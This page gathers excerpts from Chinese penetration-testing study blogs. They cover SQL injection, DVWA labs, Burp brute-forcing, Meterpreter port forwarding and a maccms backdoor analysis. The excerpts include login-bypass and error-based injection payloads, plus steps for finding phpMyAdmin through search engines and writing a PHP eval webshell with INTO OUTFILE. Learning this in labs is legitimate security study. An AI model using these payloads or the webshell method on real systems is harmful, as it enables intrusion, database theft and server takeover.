渗透测试

【渗透测试小白系列】之SQL注入

戏子无情 提交于 2019-12-02 00:41:06
(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦) 一、介绍 1.SQL注入漏洞的本质: 后端代码再执行过程中,将用户输入的数据也当作代码来执行,违背代码和数据相分离原则 2.注入的原因: 前端传递的参数可以随意控制,参数可控;后端对前端传递过来的数据没有过滤,或过滤不严谨,最终导致SQL注入 3.SQL注入漏洞有两个关键条件: 用户能控制输入的内容 Web应用把用户输入的内容带入到数据库中执行 4.危害: 数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell等等 5.分类: 请求方式: get post cookie 参数形式: 整型 字符型 搜索 反馈类型: 报错 union 布尔(时间或页面显示状态) 延时 数据库类型: access mssql mysql oracle nosql等等 利用技术: 布尔 报错 内联 堆叠 时间 联合、 二、常用的数据库函数以及常量 1.@@tmpdir 查看临时目录 2.@@datadir 数据存放的位置 3.@@basedir 数据库服务所在位置 4.@@version 查看版本号 5.@@hostname 查看当前用户名 6.ascii() 返回字符串str的最左字符的数值 7.user() 获取登陆用户名 8.version() 获取当前版本号 9.database() 获取当前数据库 10

2019-9-9:渗透测试,docker下载dvwa,使用报错型sql注入dvwa

烂漫一生 提交于 2019-12-02 00:13:53
docker 下载dvwa镜像,报错型注入dvwa,low级 一,安装并配置docker 1,更新源,apt-get update && apt-get upgrade && apt-get clean 2,安装docker,apt-get install docker.io 3, 配置docker加速器,vim /etc/docker/daemon.json { "registry-mirrors": [ "https://dockerhub.azk8s.cn", "https://reg-mirror.qiniu.com" ] } 二、使用docker下载安装运行dvwa 1,搜索dvwa镜像,docker search dvwa 2,安装dvwa镜像,docker pull citizenstig/dvwa 3,查看确定下载完成,输入命令docker images,确定有dvwa 4.运行dvwa,docker run -d –rm -p 8008:80 –name dvwa d9c7999da701 5,确定dvwa容器使用的端口被打开,netstat -ntulp |grep 8008 6,靶机访问127.0.0.1:8008确定可以访问 7,点击Create/Reset Database创建好数据库,点击Login 8,用户名admin,密码password,访问正常

渗透测试

爷,独闯天下 提交于 2019-12-01 20:04:39
渗透测试 1.简介 渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了[漏洞扫描器](https://baike.baidu.com/item/漏洞扫描器/11024468)等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的网络策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找网络系统安全漏洞的专业人士。 ​ 渗透测试 (penetration test)并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:渗透测试是通过模拟恶意 黑客 的攻击方法,来评估 计算机网络系统 安全的一种评估方法。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析,这个分析是从一个攻击者可能存在的位置来进行的,并且从这个位置有条件主动利用安全漏洞。 ​ 换句话来说,渗透测试是指渗透人员在不同的位置(比如从内网、从外网等位置)利用各种手段对某个特定网络进行测试,以期发现和挖掘系统中存在的漏洞,然后输出渗透测试报告,并提交给网络所有者。网络所有者根据渗透人员提供的渗透测试报告,可以清晰知晓系统中存在的安全隐患和问题。 我们认为渗透测试还具有的两个显著特点是:渗透测试是一个渐进的并且逐步深入的过程

2019-9-10:渗透测试,基础学习,sql注入笔记

删除回忆录丶 提交于 2019-12-01 19:48:31
sql注入 1,万能密码,自己写的网站,找到登录窗口,必须和数据库交互,往里插入构造的恶意代码,最后可以直接登录进去,不需要账号和密码,输入的恶意代码成为万能密码,后端拼接的sql语句,SELECT * FROM `users` WHERE user = '$user' AND password = '$pass'; 用户登录的地方没有处理,可以输入用户名 admin' or 1=1#,使用’单引号闭合 注释符号:# -- %25 %2d%2d --+ 在输入:admin' and1=1# admin' or 1=1 limit 0,1# 加单引号需要根据后端数据类型,如果是字符串类型就需要加,整型就不需要 构成语句 select * from 'users' where user = '$user' or '1'='1' and password = '$pass'; 万能密码出现原因 前端传递的参数可以随意控制,后端,后端代码执行过程中将用户输入的数据也当做代码执行了,违背了代码和数据分离原则 利用的思路是由于后端对前端传递的数据没有过滤,或者过滤不严谨,导致万能密码sql注入 危害,会造成数据泄漏,被拖库,篡改网站,破坏数据库,植入后门getshell sql注入分类 请求方式,get post cookie 参数形式,整型,字符型,搜索 反馈类型,报错,union,延时

【渗透测试小白系列】之BurpSuite爆破High级别的DVWA(含CSRF-Token防爆破程序)

ぐ巨炮叔叔 提交于 2019-12-01 16:54:53
(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦) 该文章参考 https://www.cnblogs.com/rnss/p/11233006.html ,感谢!!!本文仅为了学习交流,严禁非法使用!!! 一 、Token Token: 主要用来防御CSRF,而无法防止暴力破解,这是因为将一个随机产生的Token加入请求之后,每次请求Token都会改变,CSRF攻击者只能窃取受害者的cookie却不能伪造当次请求的Token,Token无法防止暴力破解的原因是Token每次都会随页面返回到前端,攻击者只要想办法自动化获得前端的Token即可进行暴力破解攻击 二、爆破过程 1.用火狐浏览器打开搭建好的DVWA站点,点击DVWA Security,调保护措施级别为High 这里已知DVWA的默认登录为admin,密码为password 2.点击Brute Force爆破,进入以下界面 3.破解单项,知道用户名,破解密码: 在DVWA的爆破中输入账号,密码随机输入,开启火狐浏览器的代理,打开BP,开启拦截状态,再回到DVWA点击登录,BP中就拦截到数据包,所拦截的数据包如下图所示 4.将拦截到的数据发送到Intruder模块,点击进入Intruder中的Positions模块,点击Clear键,去除不需要爆破的项,在重新选择要爆破的项,点击Add

渗透测试的8个步骤

删除回忆录丶 提交于 2019-12-01 15:47:58
渗透测试:以安全为基本原则,通过攻击者以及防御者的角度去分析目标所存在的安全隐患以及脆弱性,以保护系统安全为最终目标。 一般渗透测试流程: 明确目标 --> 信息搜集 --> 漏洞探测 --> 漏洞验证 --> 信息分析 --> 获取所需 --> 信息整理 --> 形成报告 1. 明确目标: (1)确定范围: 测试目标的范围、IP、域名、内外网、测试账户 (2)确定规则:渗透的程度和时间、能否修改上传、提权等 (3)确定需求:Web应用的漏洞、业务逻辑漏洞、人员权限管理漏洞等 2. 信息收集: (1)方式:主动扫描,开放搜索等。 (2)开放搜索:利用搜索引擎获得:后台、未授权页面、敏感url、等等。 (3)基础信息:IP、网段、域名、端口。 (4)应用信息:各端口的应用。例如web应用、邮件应用、等等。 (5)系统信息:操作系统版本 (6)版本信息:所有这些探测到的东西的版本。 (7)服务信息:中间件的各类信息,插件信息。 (8)人员信息:域名注册人员信息,web应用中发帖人的id,管理员姓名等。 (9)防护信息:试着看能否探测到防护设备。 3. 漏洞探测: 方法:  (1) 漏扫,awvs,IBM appscan等。  (2) 结合漏洞去exploit-db等位置找利用。  (3) 在网上寻找验证poc。 内容: (1)系统漏洞:系统没有及时打补丁 (2)WebSever漏洞

渗透测试之三内网跳板

时光怂恿深爱的人放手 提交于 2019-12-01 13:51:51
搭建内网的转发跳板 当成功控制一个网络中的一台主机后,由于后面的主机都在内网中无法访问,所以需要在跳板机上搭建代理,实现对内网中的其他主机的访问 portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4–IPV6的转换转发。并且内置于meterpreter。 攻击机: 192.168.1.5 Debian 靶机: 192.168.1.4 Windows 7 192.168.1.119 Windows 2003 靶机IP为:192.168.1.119—windows 2003—x64 需要转发端口为:80,3389 执行命令如下 if defined PSModulePath (echo ok!) else (echo sorry!) 查看使用参数 meterpreter > portfwd ‐h 添加本地33389到目标主机3389的端口转发 meterpreter > portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389 添加本地30080到目标主机80的端口转发 meterpreter> portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80 查看端口转发信息 meterpreter > portfwd 这时访问本地主机的33389端口相当于访问目标主机的3389端口

【渗透测试小白系列】之Maccms潜藏后门分析复现

我的梦境 提交于 2019-12-01 13:29:06
(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦) 该复现参考网络中的文章,该漏洞复现仅仅是为了学习交流,严禁非法使用!!! 一、事件背景 Maccms网站 :基于PHP+MYSQL环境下运行的完善而强大的快速建站系统,最近Tools上有人曝出有一个冒充了苹果CMS官网的网站提供的MacCMS10存在后门,冒充网站 http://www.maccmsv10.com/download.html cms: 内容管理系统 二、漏洞分析 1.在冒充的“苹果官网”下载MacCMS10版本后,打开源码,找到maccms10.zip\extend\Qcloud\Sms\Sms.php、maccms10.zip\extend\upyun\src\Upyun\Api\Format.php 其中 Smsphp和Format.php的后门木马是一样的,找出一个进行分析 1 <?php 2 error_reporting(E_ERROR);//报错 3 @ini_set('display_errors','Off');//做初始化环境 4 @ini_set('max_execution_time',20000); 5 @ini_set('memory_limit','256M'); 6 header("content-Type: text/html; charset=utf-8

三个渗透测试实验

拈花ヽ惹草 提交于 2019-12-01 12:19:12
仅供学习参考!!! 1.通过phpmyadmin获取服务器权限(getshell) step1:通过google hacking找phpmyadmin step2:爆破或者弱口令登录,show global variables like '%secure_file_priv%';判断我们有权限去写木马文件; step3:如果该安全选项没有限制或者限制不严格,可以往站点根目录去写木马select "<?php @eval($_POST[_]);?>"into outfile "D:\\phpstudy_pro\\www\\evil.php" select "<?php @eval($_POST[_]);?>"into outfile "/var/www/html/shell.php" step4:通过webshell工具(中国菜刀、冰蝎、蚁剑)去控制服务器 2.maccms后门分析 maccms网站基于php+mysql的系统,易用性、功能良好等优点,用途广。 木马所在位置:extend/Qcloud/Sms/Sms.php、extend\upyun\src\Upyun\Api 打开源码: <?php error_reporting(E_ERROR); @ini_set('display_errors','Off'); @ini_set('max_execution_time'

渗透测试 day3

*爱你&永不变心* 提交于 2019-12-01 10:17:03
报错注入 原理:构造payload让信息通过错误提示回显出来 应用场景:查询不会先内容,但是会打印错误信息 upload、insert等语句,会打印错误信息 方法:凡是可以让错误信息显示的函数(语句),都能实现报错注入 floor() select count(*) from infomation_schema.tables group by concat((select version(),floor(rand(0)*2)); extractvalue() updatexml() 如果返回值超过32位,显示不出来,就使用substrr进行截取 and updatexml(1,concat(0x7e,(select substr(concat(password),1,2)from users limit 0,1),0x7e),1)--+ 布尔盲注 原理:我们可以通过构造语句,来判断数据库信息的正确性,在通过页面的“真”和“假”来识别我们的判断是否正确,这就是布尔盲注。 方法: 构造逻辑判断语句,判断信息的真假,取出所有的真值,实现SQL注入 1、 left()函数 left(database(),b)>'a' //database() 显示数据库名称,left(a,b)从左侧截取前b位 2、 regexp //select user() regexp '^r' 正则表达式的用法